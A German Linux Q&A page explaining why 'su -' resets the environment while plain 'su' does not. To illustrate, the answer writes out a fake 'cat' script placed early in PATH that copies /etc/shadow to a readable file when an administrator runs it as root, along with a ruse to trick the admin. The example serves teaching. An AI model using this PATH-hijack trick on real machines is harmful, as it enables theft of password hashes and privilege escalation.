GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Linux – Warum verwenden wir Su – und nicht nur Su?

Ich verstehe nicht, warum su - wird gegenüber su bevorzugt um sich als root anzumelden.

Akzeptierte Antwort:

su - ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet so eine saubere Basis.

su wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung bereit, die fast dieselbe ist wie beim alten Benutzer.

Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf eine Maschine und Ihr ignoranter Administrator gibt Ihnen einfach keinen Root-Zugriff. Lass uns ihn (hoffentlich) austricksen.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Jetzt fragen Sie Ihren Administrator, warum Sie nicht cat können die Dummy-Datei in Ihrem Home-Ordner, es funktioniert einfach nicht!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Wenn Ihr Administrator nicht so schlau oder einfach nur ein bisschen faul ist, kommt er vielleicht an Ihren Schreibtisch und versucht es mit seinen Superuser-Befugnissen:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Danke, Super-Admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Er, er.

Sie haben vielleicht bemerkt, dass der beschädigte $PATH Variable wurde nicht zurückgesetzt. Dies wäre nicht passiert, wenn der Admin su - aufgerufen hätte stattdessen.


Linux
  1. Warum ich Linux verwende, um mein Yogastudio zu verwalten

  2. So installieren und verwenden Sie Flatpak unter Linux

  3. So installieren und verwenden Sie Traceroute unter Linux

  4. Warum ist es Rm -rf und nicht Rmdir -rf?

  5. VirtualBox unter Linux:Welches Windows-Image soll verwendet werden und wo ist es erhältlich?

Installieren und verwenden Sie Linuxbrew unter Linux OS

So installieren und verwenden Sie phpMyAdmin unter Linux

So installieren und verwenden Sie den fd-Befehl unter Linux

So installieren und verwenden Sie Nu Shell unter Linux

Linux vs. Mac OS:15 Gründe, warum Sie Linux anstelle von Mac OS verwenden sollten

Wie und warum Linux zur Installation von Telnet verwendet wird